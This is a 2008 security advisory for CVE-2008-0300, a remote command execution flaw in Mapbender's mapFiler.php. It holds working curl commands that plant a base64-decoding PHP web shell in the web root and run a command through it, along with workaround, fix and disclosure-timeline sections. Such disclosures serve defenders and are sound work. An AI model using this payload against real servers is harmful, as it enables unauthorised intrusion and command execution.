Mapbender 2.4.4 - 'mapFiler.php' Remote Code Execution

Advisory: Remote Command Execution in Mapbender



During a penetration test RedTeam Pentesting discovered a remote command

execution vulnerability in Mapbender. An unauthorized user can create

arbitrary PHP-files on the Mapbender webserver, which can later be

executed.





Details

=======



Product: Mapbender

Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too

Fixed Versions: 2.4.5rc1

Vulnerability Type: Remote Command Execution

Security-Risk: high

Vendor-URL: http://www.mapbender.org

Vendor-Status: informed, fixed version released

Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php

Advisory-Status: public

CVE: CVE-2008-0300

CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300





Introduction

============



"Mapbender is the software and portal site for geodata management of OGC

OWS architectures. The software provides web technology for managing

spatial data services implemented in PHP, JavaScript and XML. It

provides a data model and interfaces for displaying, navigating and

querying OGC compliant map services. The Mapbender framework furthermore

provides authentication and authorization services, OWS proxy

functionality, management interfaces for user, group and service

administration in WebGIS projects."



(from the vendor's homepage)





More Details

============



The Mapbender software comes with a script mapFiler.php, which is

located at



http://www.example.com/tools/mapFiler.php



Due to the lack of input filtering, an attacker is able to enter valid PHP

code in the "factor" input field. This PHP code is written into a newly

generated file in the Mapbender webfolder. Therefore, it is possible to

remotely execute the code by requesting the new file.





Proof of Concept

================



For this example, the user account which is used to execute php scripts

needs permissions to write files to the tmp directory. Any other directory

with write permissions in the web root can be used, too.



Calling



curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(

    \$_GET[c])) ?>.php&button=let's go" http://www.example.com/

    tools/mapFiler.php



creates a file



tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.



with the content:



#Modified by MapbenderTools

#Date: 14.01.2008

#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php



This script can then be executed by calling:



curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(

    $_GET[c]))%20%3f>.php.?c=aWQ'



It returns:



#Modified by MapbenderTools

#Date: 15.01.2008

#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)

.php



Commands sent to the script have to be base64 encoded and will be decoded by the

PHP code, to avoid possible URL filtering on the victim's side.





Workaround

==========



If not needed, the mapfiler.php script can be removed. Otherwise, it can

be protected by using an .htaccess directive.





Fix

===



The vulnerability is fixed in release 2.4.5 rc1.





Security Risk

=============



The security risk is rated as high. An attacker can execute arbitrary

commands remotely with the rights of the webserver.





History

=======



2007-12-14 Problem identified during a penetration test

2008-01-09 Customer approves contacting of Mapbender developers

2008-01-17 CVE number assigned

2008-03-10 Vendor releases fixed version

2008-03-11 Advisory released





RedTeam Pentesting GmbH

=======================



RedTeam Pentesting is offering individual penetration tests, short

pentests, performed by a team of specialised IT-security experts.

Hereby, security weaknesses in company networks or products are

uncovered and can be fixed immediately.



As there are only few experts in this field, RedTeam Pentesting wants to

share its knowledge and enhance the public knowledge with research in

security related areas. The results are made available as public

security advisories.



More information about RedTeam Pentesting can be found at

http://www.redteam-pentesting.de.



# milw0rm.com [2008-03-11]